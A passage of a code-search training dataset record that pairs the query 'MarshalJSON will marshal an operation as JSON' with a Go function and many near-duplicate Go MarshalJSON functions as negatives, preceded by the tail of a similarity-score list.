\"0.6655898\",\n \"0.6630511\",\n \"0.6605015\",\n \"0.6594566\",\n \"0.658278\",\n \"0.65805\",\n \"0.6573003\",\n \"0.65647495\",\n \"0.65452474\",\n \"0.65405744\",\n \"0.65233505\",\n \"0.6489791\",\n \"0.6479213\",\n \"0.6457237\",\n \"0.6455163\",\n \"0.6454465\",\n \"0.64503586\",\n \"0.64302856\",\n \"0.64251494\",\n \"0.64128405\",\n \"0.64115673\",\n \"0.64022815\",\n \"0.6381866\",\n \"0.63762254\",\n \"0.63733727\",\n \"0.637139\",\n \"0.63653857\",\n \"0.633227\",\n \"0.6327555\",\n \"0.6315321\",\n \"0.63047385\",\n \"0.63001287\",\n \"0.6298107\",\n \"0.62961984\",\n \"0.62893903\",\n \"0.6270783\",\n \"0.62637717\",\n \"0.6260668\",\n \"0.62389094\",\n \"0.62191695\",\n \"0.62182707\",\n \"0.6217084\",\n \"0.6214952\",\n \"0.6205181\",\n \"0.62049055\",\n \"0.62021387\",\n \"0.6192464\",\n \"0.61864865\",\n \"0.6183731\",\n \"0.61798656\",\n \"0.616852\",\n \"0.6164975\",\n \"0.6164975\",\n \"0.6158465\",\n \"0.6153548\",\n \"0.6139383\",\n \"0.6126508\",\n \"0.6106662\",\n \"0.6104605\",\n \"0.6097517\",\n \"0.60810417\",\n \"0.607884\",\n \"0.60667056\",\n \"0.6061715\",\n \"0.6052034\",\n \"0.60490096\",\n \"0.60441506\",\n \"0.6035884\",\n \"0.6031201\",\n \"0.6030181\",\n \"0.60273147\",\n \"0.60148984\",\n \"0.60100806\",\n \"0.60099506\",\n \"0.60044026\",\n \"0.6002691\",\n \"0.59948903\",\n \"0.5993206\",\n \"0.59931594\",\n \"0.5987295\",\n \"0.5980696\",\n \"0.5979161\"\n]"},"document_score":{"kind":"string","value":"0.7701375"},"document_rank":{"kind":"string","value":"0"}}},{"rowIdx":106164,"cells":{"query":{"kind":"string","value":"MarshalJSON will marshal an operation as JSON"},"document":{"kind":"string","value":"func (o Op) MarshalJSON() ([]byte, error) {\n\treturn json.Marshal(map[string]interface{}{\n\t\to.Type(): o.OpApplier,\n\t})\n}"},"metadata":{"kind":"string","value":"{\n \"objective\": {\n \"self\": [],\n \"paired\": [],\n \"triplet\": [\n [\n \"query\",\n \"document\",\n \"negatives\"\n ]\n ]\n }\n}"},"negatives":{"kind":"list like","value":["func (op *Operation) Marshal() ([]byte, error) {\n\treturn json.Marshal(op)\n}","func (o Operation)MarshalJSON() ([]byte, error){\n objectMap := make(map[string]interface{})\n return json.Marshal(objectMap)\n }","func (o Operation) MarshalJSON() ([]byte, error) {\n\tobjectMap := make(map[string]interface{})\n\treturn json.Marshal(objectMap)\n}","func (o Operation) MarshalJSON() ([]byte, error) {\n\tobjectMap := make(map[string]any)\n\tpopulate(objectMap, \"actionType\", o.ActionType)\n\tpopulate(objectMap, \"display\", o.Display)\n\tpopulate(objectMap, \"isDataAction\", o.IsDataAction)\n\tpopulate(objectMap, \"name\", o.Name)\n\tpopulate(objectMap, \"origin\", o.Origin)\n\tpopulate(objectMap, \"properties\", o.Properties)\n\treturn json.Marshal(objectMap)\n}","func (o Operation) MarshalJSON() ([]byte, error) {\n\tobjectMap := make(map[string]any)\n\tpopulate(objectMap, \"display\", o.Display)\n\tpopulate(objectMap, \"isDataAction\", o.IsDataAction)\n\tpopulate(objectMap, \"name\", o.Name)\n\tpopulate(objectMap, \"properties\", o.Properties)\n\treturn json.Marshal(objectMap)\n}","func (o Operation) MarshalJSON() ([]byte, error) {\n\tobjectMap := make(map[string]any)\n\tpopulate(objectMap, \"actionType\", o.ActionType)\n\tpopulate(objectMap, \"display\", o.Display)\n\tpopulate(objectMap, \"isDataAction\", o.IsDataAction)\n\tpopulate(objectMap, \"name\", o.Name)\n\tpopulate(objectMap, \"origin\", o.Origin)\n\treturn json.Marshal(objectMap)\n}","func (o Operation) MarshalJSON() ([]byte, error) {\n\tobjectMap := make(map[string]any)\n\tpopulate(objectMap, \"actionType\", o.ActionType)\n\tpopulate(objectMap, \"display\", o.Display)\n\tpopulate(objectMap, \"isDataAction\", o.IsDataAction)\n\tpopulate(objectMap, \"name\", o.Name)\n\tpopulate(objectMap, \"origin\", o.Origin)\n\treturn json.Marshal(objectMap)\n}","func (o Operation) MarshalJSON() ([]byte, error) {\n\tobjectMap := make(map[string]any)\n\tpopulate(objectMap, \"actionType\", o.ActionType)\n\tpopulate(objectMap, \"display\", o.Display)\n\tpopulate(objectMap, \"isDataAction\", o.IsDataAction)\n\tpopulate(objectMap, \"name\", o.Name)\n\tpopulate(objectMap, \"origin\", o.Origin)\n\treturn json.Marshal(objectMap)\n}","func (o Operation) MarshalJSON() ([]byte, error) {\n\tobjectMap := make(map[string]any)\n\tpopulate(objectMap, \"actionType\", o.ActionType)\n\tpopulate(objectMap, \"display\", o.Display)\n\tpopulate(objectMap, \"isDataAction\", o.IsDataAction)\n\tpopulate(objectMap, \"name\", o.Name)\n\tpopulate(objectMap, \"origin\", o.Origin)\n\treturn json.Marshal(objectMap)\n}","func (o Operation) MarshalJSON() ([]byte, error) {\n\tobjectMap := make(map[string]any)\n\tpopulate(objectMap, \"actionType\", o.ActionType)\n\tpopulate(objectMap, \"display\", o.Display)\n\tpopulate(objectMap, \"isDataAction\", o.IsDataAction)\n\tpopulate(objectMap, \"name\", o.Name)\n\tpopulate(objectMap, \"origin\", o.Origin)\n\treturn json.Marshal(objectMap)\n}","func (o Operation) MarshalJSON() ([]byte, error) {\n\tobjectMap := make(map[string]any)\n\tpopulate(objectMap, \"actionType\", o.ActionType)\n\tpopulate(objectMap, \"display\", o.Display)\n\tpopulate(objectMap, \"isDataAction\", o.IsDataAction)\n\tpopulate(objectMap, \"name\", o.Name)\n\tpopulate(objectMap, \"origin\", o.Origin)\n\treturn json.Marshal(objectMap)\n}","func (s *Operation) MarshalJSON() ([]byte, error) {\n\treturn json.Marshal(*s)\n}","func (o Operation) MarshalJSON() ([]byte, error) {\n\tobjectMap := make(map[string]any)\n\tpopulate(objectMap, \"display\", o.Display)\n\tpopulate(objectMap, \"name\", o.Name)\n\treturn json.Marshal(objectMap)\n}","func (o Operation) MarshalJSON() ([]byte, error) {\n\tobjectMap := make(map[string]any)\n\tpopulate(objectMap, \"display\", o.Display)\n\tpopulate(objectMap, \"name\", o.Name)\n\treturn json.Marshal(objectMap)\n}","func (o Operation) MarshalJSON() ([]byte, error) {\n\tobjectMap := make(map[string]any)\n\tpopulate(objectMap, \"display\", o.Display)\n\tpopulate(objectMap, \"name\", o.Name)\n\treturn json.Marshal(objectMap)\n}","func (o Operation) MarshalJSON() ([]byte, error) {\n\tobjectMap := make(map[string]any)\n\tpopulate(objectMap, \"display\", o.Display)\n\tpopulate(objectMap, \"name\", o.Name)\n\treturn json.Marshal(objectMap)\n}","func (o Operation) MarshalJSON() ([]byte, error) {\n\tobjectMap := make(map[string]any)\n\tpopulate(objectMap, \"display\", o.Display)\n\tpopulate(objectMap, \"name\", o.Name)\n\treturn json.Marshal(objectMap)\n}","func (o Operation) MarshalJSON() ([]byte, error) {\n\tobjectMap := make(map[string]any)\n\tpopulate(objectMap, \"display\", o.Display)\n\tpopulate(objectMap, \"name\", o.Name)\n\treturn json.Marshal(objectMap)\n}","func (o Operation) MarshalJSON() ([]byte, error) {\n\tobjectMap := make(map[string]any)\n\tpopulate(objectMap, \"display\", o.Display)\n\tpopulate(objectMap, \"name\", o.Name)\n\tpopulate(objectMap, \"origin\", o.Origin)\n\tpopulateAny(objectMap, \"properties\", o.Properties)\n\treturn json.Marshal(objectMap)\n}","func (o Operation) MarshalJSON() ([]byte, error) {\n\tobjectMap := make(map[string]any)\n\tpopulate(objectMap, \"display\", o.Display)\n\tpopulate(objectMap, \"name\", o.Name)\n\tpopulate(objectMap, \"origin\", o.Origin)\n\tpopulate(objectMap, \"properties\", o.Properties)\n\treturn json.Marshal(objectMap)\n}","func (o Operation) MarshalJSON() ([]byte, error) {\n\tobjectMap := make(map[string]any)\n\tpopulate(objectMap, \"display\", o.Display)\n\tpopulate(objectMap, \"name\", o.Name)\n\tpopulate(objectMap, \"origin\", o.Origin)\n\treturn json.Marshal(objectMap)\n}","func (o Operation) MarshalJSON() ([]byte, error) {\n\tobjectMap := make(map[string]any)\n\tpopulate(objectMap, \"display\", o.Display)\n\tpopulate(objectMap, \"name\", o.Name)\n\tpopulate(objectMap, \"origin\", o.Origin)\n\treturn json.Marshal(objectMap)\n}","func (o Operation) MarshalJSON() ([]byte, error) {\n\tobjectMap := make(map[string]interface{})\n\tif o.Display != nil {\n\t\tobjectMap[\"display\"] = o.Display\n\t}\n\treturn json.Marshal(objectMap)\n}","func (o Operation) MarshalJSON() ([]byte, error) {\n\tobjectMap := make(map[string]interface{})\n\tif o.Display != nil {\n\t\tobjectMap[\"display\"] = o.Display\n\t}\n\treturn json.Marshal(objectMap)\n}","func (insert InsertOperation) MarshalJSON() ([]byte, error) {\n\t// validate required fields\n\tswitch {\n\tcase len(insert.Table) == 0:\n\t\treturn nil, errors.New(\"Table field is required\")\n\tcase insert.Row == nil:\n\t\treturn nil, errors.New(\"Row field is required\")\n\t}\n\n\tvar temp = struct {\n\t\tOp OperationType `json:\"op\"`\n\t\tTable ID `json:\"table\"`\n\t\tRow Row `json:\"row\"`\n\t\tUUIDName ID `json:\"uuid-name,omitempty\"`\n\t}{\n\t\tOp: insert.Op(),\n\t\tTable: insert.Table,\n\t\tRow: insert.Row,\n\t\tUUIDName: insert.UUIDName,\n\t}\n\n\treturn json.Marshal(temp)\n}","func (mutate MutateOperation) MarshalJSON() ([]byte, error) {\n\t// validate required fields\n\tswitch {\n\tcase len(mutate.Table) == 0:\n\t\treturn nil, errors.New(\"Table field is required\")\n\tcase len(mutate.Where) == 0:\n\t\treturn nil, errors.New(\"Where field is required\")\n\tcase len(mutate.Mutations) == 0:\n\t\treturn nil, errors.New(\"Mutations field is required\")\n\t}\n\t// validate contions\n\tfor _, cond := range mutate.Where {\n\t\tif !cond.Valid() {\n\t\t\treturn nil, fmt.Errorf(\"Invalid condition: %v\", cond)\n\t\t}\n\t}\n\t// validate mutations\n\tfor _, mutation := range mutate.Mutations {\n\t\tif !mutation.Valid() {\n\t\t\treturn nil, fmt.Errorf(\"Invalid mutation: %v\", mutation)\n\t\t}\n\t}\n\n\tvar temp = struct {\n\t\tOp OperationType `json:\"op\"`\n\t\tTable ID `json:\"table\"`\n\t\tWhere []Condition `json:\"where\"`\n\t\tMutations []Mutation `json:\"mutations\"`\n\t}{\n\t\tOp: mutate.Op(),\n\t\tTable: mutate.Table,\n\t\tWhere: mutate.Where,\n\t\tMutations: mutate.Mutations,\n\t}\n\n\treturn json.Marshal(temp)\n}","func (pbo PropertyBatchOperation) MarshalJSON() ([]byte, error) {\n\tpbo.Kind = KindPropertyBatchOperation\n\tobjectMap := make(map[string]interface{})\n\tif pbo.PropertyName != nil {\n\t\tobjectMap[\"PropertyName\"] = pbo.PropertyName\n\t}\n\tif pbo.Kind != \"\" {\n\t\tobjectMap[\"Kind\"] = pbo.Kind\n\t}\n\treturn json.Marshal(objectMap)\n}","func (ppbo PutPropertyBatchOperation) MarshalJSON() ([]byte, error) {\n\tppbo.Kind = KindPut\n\tobjectMap := make(map[string]interface{})\n\tobjectMap[\"Value\"] = ppbo.Value\n\tif ppbo.CustomTypeID != nil {\n\t\tobjectMap[\"CustomTypeId\"] = ppbo.CustomTypeID\n\t}\n\tif ppbo.PropertyName != nil {\n\t\tobjectMap[\"PropertyName\"] = ppbo.PropertyName\n\t}\n\tif ppbo.Kind != \"\" {\n\t\tobjectMap[\"Kind\"] = ppbo.Kind\n\t}\n\treturn json.Marshal(objectMap)\n}","func (j *WorkerCreateOperation) MarshalJSON() ([]byte, error) {\n\tvar buf fflib.Buffer\n\tif j == nil {\n\t\tbuf.WriteString(\"null\")\n\t\treturn buf.Bytes(), nil\n\t}\n\terr := j.MarshalJSONBuf(&buf)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn buf.Bytes(), nil\n}","func (gpbo GetPropertyBatchOperation) MarshalJSON() ([]byte, error) {\n\tgpbo.Kind = KindGet\n\tobjectMap := make(map[string]interface{})\n\tif gpbo.IncludeValue != nil {\n\t\tobjectMap[\"IncludeValue\"] = gpbo.IncludeValue\n\t}\n\tif gpbo.PropertyName != nil {\n\t\tobjectMap[\"PropertyName\"] = gpbo.PropertyName\n\t}\n\tif gpbo.Kind != \"\" {\n\t\tobjectMap[\"Kind\"] = gpbo.Kind\n\t}\n\treturn json.Marshal(objectMap)\n}","func (o Operations) MarshalJSON() ([]byte, error) {\n\tobjectMap := make(map[string]interface{})\n\tif o.NextLink != nil {\n\t\tobjectMap[\"nextLink\"] = o.NextLink\n\t}\n\treturn json.Marshal(objectMap)\n}","func (j *ProposalUpdateOperation) MarshalJSON() ([]byte, error) {\n\tvar buf fflib.Buffer\n\tif j == nil {\n\t\tbuf.WriteString(\"null\")\n\t\treturn buf.Bytes(), nil\n\t}\n\terr := j.MarshalJSONBuf(&buf)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn buf.Bytes(), nil\n}","func (v bulkUpdateRequestCommandOp) MarshalJSON() ([]byte, error) {\n\tw := jwriter.Writer{}\n\teasyjson1ed00e60EncodeGithubComOlivereElasticV7(&w, v)\n\treturn w.Buffer.BuildBytes(), w.Error\n}","func (j *CreateNhAssetOperation) MarshalJSON() ([]byte, error) {\n\tvar buf fflib.Buffer\n\tif j == nil {\n\t\tbuf.WriteString(\"null\")\n\t\treturn buf.Bytes(), nil\n\t}\n\terr := j.MarshalJSONBuf(&buf)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn buf.Bytes(), nil\n}","func (o OperationsDefinition) MarshalJSON() ([]byte, error) {\n\tobjectMap := make(map[string]any)\n\tpopulate(objectMap, \"actionType\", o.ActionType)\n\tpopulate(objectMap, \"display\", o.Display)\n\tpopulate(objectMap, \"isDataAction\", o.IsDataAction)\n\tpopulate(objectMap, \"name\", o.Name)\n\tpopulate(objectMap, \"origin\", o.Origin)\n\tpopulateAny(objectMap, \"properties\", o.Properties)\n\treturn json.Marshal(objectMap)\n}","func (o OperationInputs) MarshalJSON() ([]byte, error) {\n\tobjectMap := make(map[string]any)\n\tpopulate(objectMap, \"name\", o.Name)\n\tpopulate(objectMap, \"type\", o.Type)\n\treturn json.Marshal(objectMap)\n}","func (o OperationInputs) MarshalJSON() ([]byte, error) {\n\tobjectMap := make(map[string]any)\n\tpopulate(objectMap, \"name\", o.Name)\n\treturn json.Marshal(objectMap)\n}","func (t OperationResult) MarshalJSON() ([]byte, error) {\n\treturn json.Marshal(t.String())\n}","func (v BaseOp) MarshalJSON() ([]byte, error) {\n\tw := jwriter.Writer{}\n\teasyjson25363b2dEncodeGithubComDarkfoxs96OpenApiV3SdkOkexGoSdkApi125(&w, v)\n\treturn w.Buffer.BuildBytes(), w.Error\n}","func (o OperationObj) MarshalJSON() ([]byte, error) {\n\treturn o.marshalJSONWithStruct(_OperationObj(o))\n}","func (s SelectOperation) MarshalJSON() ([]byte, error) {\n\t// validate required fields\n\tswitch {\n\tcase len(s.Table) == 0:\n\t\treturn nil, errors.New(\"Table field is required\")\n\tcase len(s.Where) == 0:\n\t\treturn nil, errors.New(\"Where field is required\")\n\t}\n\t// validate contions\n\tfor _, cond := range s.Where {\n\t\tif !cond.Valid() {\n\t\t\treturn nil, fmt.Errorf(\"Invalid condition: %v\", cond)\n\t\t}\n\t}\n\n\tvar temp = struct {\n\t\tOp OperationType `json:\"op\"`\n\t\tTable ID `json:\"table\"`\n\t\tWhere []Condition `json:\"where\"`\n\t\tColumns []ID `json:\"columns,omitempty\"`\n\t}{\n\t\tOp: s.Op(),\n\t\tTable: s.Table,\n\t\tWhere: s.Where,\n\t\tColumns: s.Columns,\n\t}\n\n\treturn json.Marshal(temp)\n}","func (od OperationDetail) MarshalJSON() ([]byte, error) {\n\tobjectMap := make(map[string]interface{})\n\tif od.Name != nil {\n\t\tobjectMap[\"name\"] = od.Name\n\t}\n\tif od.IsDataAction != nil {\n\t\tobjectMap[\"isDataAction\"] = od.IsDataAction\n\t}\n\tif od.Display != nil {\n\t\tobjectMap[\"display\"] = od.Display\n\t}\n\tif od.Origin != nil {\n\t\tobjectMap[\"origin\"] = od.Origin\n\t}\n\tif od.OperationProperties != nil {\n\t\tobjectMap[\"properties\"] = od.OperationProperties\n\t}\n\treturn json.Marshal(objectMap)\n}","func (dpbo DeletePropertyBatchOperation) MarshalJSON() ([]byte, error) {\n\tdpbo.Kind = KindDelete\n\tobjectMap := make(map[string]interface{})\n\tif dpbo.PropertyName != nil {\n\t\tobjectMap[\"PropertyName\"] = dpbo.PropertyName\n\t}\n\tif dpbo.Kind != \"\" {\n\t\tobjectMap[\"Kind\"] = dpbo.Kind\n\t}\n\treturn json.Marshal(objectMap)\n}","func (u UpdateOperation) MarshalJSON() ([]byte, error) {\n\t// validate required fields\n\tswitch {\n\tcase len(u.Table) == 0:\n\t\treturn nil, errors.New(\"Table field is required\")\n\tcase len(u.Where) == 0:\n\t\treturn nil, errors.New(\"Where field is required\")\n\tcase u.Row == nil:\n\t\treturn nil, errors.New(\"Row field is required\")\n\t}\n\t// validate contions\n\tfor _, cond := range u.Where {\n\t\tif !cond.Valid() {\n\t\t\treturn nil, fmt.Errorf(\"Invalid condition: %v\", cond)\n\t\t}\n\t}\n\n\tvar temp = struct {\n\t\tOp OperationType `json:\"op\"`\n\t\tTable ID `json:\"table\"`\n\t\tWhere []Condition `json:\"where\"`\n\t\tRow Row `json:\"row\"`\n\t}{\n\t\tOp: u.Op(),\n\t\tTable: u.Table,\n\t\tWhere: u.Where,\n\t\tRow: u.Row,\n\t}\n\n\treturn json.Marshal(temp)\n}","func (o OperationResult) MarshalJSON() ([]byte, error) {\n\tobjectMap := make(map[string]interface{})\n\tpopulateTimeRFC3339(objectMap, \"endTime\", o.EndTime)\n\tpopulate(objectMap, \"name\", o.Name)\n\tpopulateTimeRFC3339(objectMap, \"startTime\", o.StartTime)\n\treturn json.Marshal(objectMap)\n}","func (cspbo CheckSequencePropertyBatchOperation) MarshalJSON() ([]byte, error) {\n\tcspbo.Kind = KindCheckSequence\n\tobjectMap := make(map[string]interface{})\n\tif cspbo.SequenceNumber != nil {\n\t\tobjectMap[\"SequenceNumber\"] = cspbo.SequenceNumber\n\t}\n\tif cspbo.PropertyName != nil {\n\t\tobjectMap[\"PropertyName\"] = cspbo.PropertyName\n\t}\n\tif cspbo.Kind != \"\" {\n\t\tobjectMap[\"Kind\"] = cspbo.Kind\n\t}\n\treturn json.Marshal(objectMap)\n}","func (j *CommitteeMemberUpdateGlobalParametersOperation) MarshalJSON() ([]byte, error) {\n\tvar buf fflib.Buffer\n\tif j == nil {\n\t\tbuf.WriteString(\"null\")\n\t\treturn buf.Bytes(), nil\n\t}\n\terr := j.MarshalJSONBuf(&buf)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn buf.Bytes(), nil\n}","func (o OperationList) MarshalJSON() ([]byte, error) {\n\tobjectMap := make(map[string]any)\n\tpopulate(objectMap, \"nextLink\", o.NextLink)\n\tpopulate(objectMap, \"value\", o.Value)\n\treturn json.Marshal(objectMap)\n}","func (o OperationList) MarshalJSON() ([]byte, error) {\n\tobjectMap := make(map[string]any)\n\tpopulate(objectMap, \"nextLink\", o.NextLink)\n\tpopulate(objectMap, \"value\", o.Value)\n\treturn json.Marshal(objectMap)\n}","func (v Operation) EncodeJSON(b []byte) []byte {\n\tb = append(b, \"{\"...)\n\tif v.Account.Set {\n\t\tb = append(b, `\"account\":`...)\n\t\tb = v.Account.Value.EncodeJSON(b)\n\t\tb = append(b, \",\"...)\n\t}\n\tif v.Amount.Set {\n\t\tb = append(b, `\"amount\":`...)\n\t\tb = v.Amount.Value.EncodeJSON(b)\n\t\tb = append(b, \",\"...)\n\t}\n\tif v.CoinChange.Set {\n\t\tb = append(b, `\"coin_change\":`...)\n\t\tb = v.CoinChange.Value.EncodeJSON(b)\n\t\tb = append(b, \",\"...)\n\t}\n\tif len(v.Metadata) > 0 {\n\t\tb = append(b, `\"metadata\":`...)\n\t\tb = append(b, v.Metadata...)\n\t\tb = append(b, \",\"...)\n\t}\n\tb = append(b, '\"', 'o', 'p', 'e', 'r', 'a', 't', 'i', 'o', 'n', '_', 'i', 'd', 'e', 'n', 't', 'i', 'f', 'i', 'e', 'r', '\"', ':')\n\tb = v.OperationIdentifier.EncodeJSON(b)\n\tb = append(b, \",\"...)\n\tif len(v.RelatedOperations) > 0 {\n\t\tb = append(b, '\"', 'r', 'e', 'l', 'a', 't', 'e', 'd', '_', 'o', 'p', 'e', 'r', 'a', 't', 'i', 'o', 'n', 's', '\"', ':', '[')\n\t\tfor i, elem := range v.RelatedOperations {\n\t\t\tif i != 0 {\n\t\t\t\tb = append(b, \",\"...)\n\t\t\t}\n\t\t\tb = elem.EncodeJSON(b)\n\t\t}\n\t\tb = append(b, \"],\"...)\n\t}\n\tif v.Status.Set {\n\t\tb = append(b, `\"status\":`...)\n\t\tb = json.AppendString(b, v.Status.Value)\n\t\tb = append(b, \",\"...)\n\t}\n\tb = append(b, `\"type\":`...)\n\tb = json.AppendString(b, v.Type)\n\treturn append(b, \"}\"...)\n}","func (o OperationEntity) MarshalJSON() ([]byte, error) {\n\tobjectMap := make(map[string]any)\n\tpopulate(objectMap, \"display\", o.Display)\n\tpopulate(objectMap, \"isDataAction\", o.IsDataAction)\n\tpopulate(objectMap, \"name\", o.Name)\n\tpopulate(objectMap, \"origin\", o.Origin)\n\treturn json.Marshal(objectMap)\n}","func JSONOpString(v []types.Operation) (string, error) {\n\tvar tx types.Operations\n\n\ttx = append(tx, v...)\n\n\tans, err := types.JSONMarshal(tx)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\treturn string(ans), nil\n}","func (m OperationResult) MarshalJSON() ([]byte, error) {\n\tvar b1, b2 []byte\n\tvar err error\n\tb1, err = json.Marshal(struct {\n\t\tCreatedDateTime strfmt.DateTime `json:\"createdDateTime,omitempty\"`\n\n\t\tLastActionDateTime strfmt.DateTime `json:\"lastActionDateTime,omitempty\"`\n\n\t\tMessage string `json:\"message,omitempty\"`\n\n\t\tOperationType string `json:\"operationType,omitempty\"`\n\n\t\tStatus string `json:\"status,omitempty\"`\n\t}{\n\t\tCreatedDateTime: m.CreatedDateTime,\n\t\tLastActionDateTime: m.LastActionDateTime,\n\t\tMessage: m.Message,\n\t\tOperationType: m.OperationType,\n\t\tStatus: m.Status,\n\t})\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tb2, err = json.Marshal(struct {\n\t\tOperationProcessingResult OperationProcessingResult `json:\"operationProcessingResult,omitempty\"`\n\t}{\n\t\tOperationProcessingResult: m.OperationProcessingResult,\n\t})\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn swag.ConcatJSON(b1, b2), nil\n}","func (o OperationEntity) MarshalJSON() ([]byte, error) {\n\tobjectMap := make(map[string]any)\n\tpopulate(objectMap, \"display\", o.Display)\n\tpopulate(objectMap, \"name\", o.Name)\n\tpopulate(objectMap, \"origin\", o.Origin)\n\tpopulateAny(objectMap, \"properties\", o.Properties)\n\treturn json.Marshal(objectMap)\n}","func (o OperationCollection) MarshalJSON() ([]byte, error) {\n\tobjectMap := make(map[string]any)\n\tpopulate(objectMap, \"value\", o.Value)\n\treturn json.Marshal(objectMap)\n}","func (d DeleteOperation) MarshalJSON() ([]byte, error) {\n\t// validate required fields\n\tswitch {\n\tcase len(d.Table) == 0:\n\t\treturn nil, errors.New(\"Table field is required\")\n\tcase len(d.Where) == 0:\n\t\treturn nil, errors.New(\"Where field is required\")\n\t}\n\t// validate contions\n\tfor _, cond := range d.Where {\n\t\tif !cond.Valid() {\n\t\t\treturn nil, fmt.Errorf(\"Invalid condition: %v\", cond)\n\t\t}\n\t}\n\n\tvar temp = struct {\n\t\tOp OperationType `json:\"op\"`\n\t\tTable ID `json:\"table\"`\n\t\tWhere []Condition `json:\"where\"`\n\t}{\n\t\tOp: d.Op(),\n\t\tTable: d.Table,\n\t\tWhere: d.Where,\n\t}\n\treturn json.Marshal(temp)\n}","func (o OperationDisplay) MarshalJSON() ([]byte, error) {\n\tobjectMap := make(map[string]any)\n\tpopulate(objectMap, \"operation\", o.Operation)\n\tpopulate(objectMap, \"provider\", o.Provider)\n\tpopulate(objectMap, \"resource\", o.Resource)\n\treturn json.Marshal(objectMap)\n}","func (o OperationDisplay) MarshalJSON() ([]byte, error) {\n\tobjectMap := make(map[string]any)\n\tpopulate(objectMap, \"operation\", o.Operation)\n\tpopulate(objectMap, \"provider\", o.Provider)\n\tpopulate(objectMap, \"resource\", o.Resource)\n\treturn json.Marshal(objectMap)\n}","func (o OperationDisplay) MarshalJSON() ([]byte, error) {\n\tobjectMap := make(map[string]any)\n\tpopulate(objectMap, \"operation\", o.Operation)\n\tpopulate(objectMap, \"provider\", o.Provider)\n\tpopulate(objectMap, \"resource\", o.Resource)\n\treturn json.Marshal(objectMap)\n}","func (cepbo CheckExistsPropertyBatchOperation) MarshalJSON() ([]byte, error) {\n\tcepbo.Kind = KindCheckExists\n\tobjectMap := make(map[string]interface{})\n\tif cepbo.Exists != nil {\n\t\tobjectMap[\"Exists\"] = cepbo.Exists\n\t}\n\tif cepbo.PropertyName != nil {\n\t\tobjectMap[\"PropertyName\"] = cepbo.PropertyName\n\t}\n\tif cepbo.Kind != \"\" {\n\t\tobjectMap[\"Kind\"] = cepbo.Kind\n\t}\n\treturn json.Marshal(objectMap)\n}","func (o OperationsContent) MarshalJSON() ([]byte, error) {\n\tobjectMap := make(map[string]any)\n\tpopulate(objectMap, \"id\", o.ID)\n\tpopulate(objectMap, \"name\", o.Name)\n\tpopulate(objectMap, \"properties\", o.Properties)\n\tpopulate(objectMap, \"systemData\", o.SystemData)\n\tpopulate(objectMap, \"type\", o.Type)\n\treturn json.Marshal(objectMap)\n}","func (o OperationPropertiesFormat) MarshalJSON() ([]byte, error) {\n\tobjectMap := make(map[string]any)\n\tpopulate(objectMap, \"serviceSpecification\", o.ServiceSpecification)\n\treturn json.Marshal(objectMap)\n}","func (o OperationDisplay) MarshalJSON() ([]byte, error) {\n\tobjectMap := make(map[string]any)\n\tpopulate(objectMap, \"description\", o.Description)\n\tpopulate(objectMap, \"operation\", o.Operation)\n\tpopulate(objectMap, \"provider\", o.Provider)\n\tpopulate(objectMap, \"resource\", o.Resource)\n\treturn json.Marshal(objectMap)\n}","func (o OperationDisplay) MarshalJSON() ([]byte, error) {\n\tobjectMap := make(map[string]any)\n\tpopulate(objectMap, \"description\", o.Description)\n\tpopulate(objectMap, \"operation\", o.Operation)\n\tpopulate(objectMap, \"provider\", o.Provider)\n\tpopulate(objectMap, \"resource\", o.Resource)\n\treturn json.Marshal(objectMap)\n}","func (o OperationDisplay) MarshalJSON() ([]byte, error) {\n\tobjectMap := make(map[string]any)\n\tpopulate(objectMap, \"description\", o.Description)\n\tpopulate(objectMap, \"operation\", o.Operation)\n\tpopulate(objectMap, \"provider\", o.Provider)\n\tpopulate(objectMap, \"resource\", o.Resource)\n\treturn json.Marshal(objectMap)\n}","func (o OperationDisplay) MarshalJSON() ([]byte, error) {\n\tobjectMap := make(map[string]any)\n\tpopulate(objectMap, \"description\", o.Description)\n\tpopulate(objectMap, \"operation\", o.Operation)\n\tpopulate(objectMap, \"provider\", o.Provider)\n\tpopulate(objectMap, \"resource\", o.Resource)\n\treturn json.Marshal(objectMap)\n}","func (o OperationDisplay) MarshalJSON() ([]byte, error) {\n\tobjectMap := make(map[string]any)\n\tpopulate(objectMap, \"description\", o.Description)\n\tpopulate(objectMap, \"operation\", o.Operation)\n\tpopulate(objectMap, \"provider\", o.Provider)\n\tpopulate(objectMap, \"resource\", o.Resource)\n\treturn json.Marshal(objectMap)\n}","func (o OperationDisplay) MarshalJSON() ([]byte, error) {\n\tobjectMap := make(map[string]any)\n\tpopulate(objectMap, \"description\", o.Description)\n\tpopulate(objectMap, \"operation\", o.Operation)\n\tpopulate(objectMap, \"provider\", o.Provider)\n\tpopulate(objectMap, \"resource\", o.Resource)\n\treturn json.Marshal(objectMap)\n}","func (o OperationDisplay) MarshalJSON() ([]byte, error) {\n\tobjectMap := make(map[string]any)\n\tpopulate(objectMap, \"description\", o.Description)\n\tpopulate(objectMap, \"operation\", o.Operation)\n\tpopulate(objectMap, \"provider\", o.Provider)\n\tpopulate(objectMap, \"resource\", o.Resource)\n\treturn json.Marshal(objectMap)\n}","func (o OperationDisplay) MarshalJSON() ([]byte, error) {\n\tobjectMap := make(map[string]any)\n\tpopulate(objectMap, \"description\", o.Description)\n\tpopulate(objectMap, \"operation\", o.Operation)\n\tpopulate(objectMap, \"provider\", o.Provider)\n\tpopulate(objectMap, \"resource\", o.Resource)\n\treturn json.Marshal(objectMap)\n}","func (o OperationDisplay) MarshalJSON() ([]byte, error) {\n\tobjectMap := make(map[string]any)\n\tpopulate(objectMap, \"description\", o.Description)\n\tpopulate(objectMap, \"operation\", o.Operation)\n\tpopulate(objectMap, \"provider\", o.Provider)\n\tpopulate(objectMap, \"resource\", o.Resource)\n\treturn json.Marshal(objectMap)\n}","func (o OperationDisplay) MarshalJSON() ([]byte, error) {\n\tobjectMap := make(map[string]any)\n\tpopulate(objectMap, \"description\", o.Description)\n\tpopulate(objectMap, \"operation\", o.Operation)\n\tpopulate(objectMap, \"provider\", o.Provider)\n\tpopulate(objectMap, \"resource\", o.Resource)\n\treturn json.Marshal(objectMap)\n}","func (o OperationDisplay) MarshalJSON() ([]byte, error) {\n\tobjectMap := make(map[string]any)\n\tpopulate(objectMap, \"description\", o.Description)\n\tpopulate(objectMap, \"operation\", 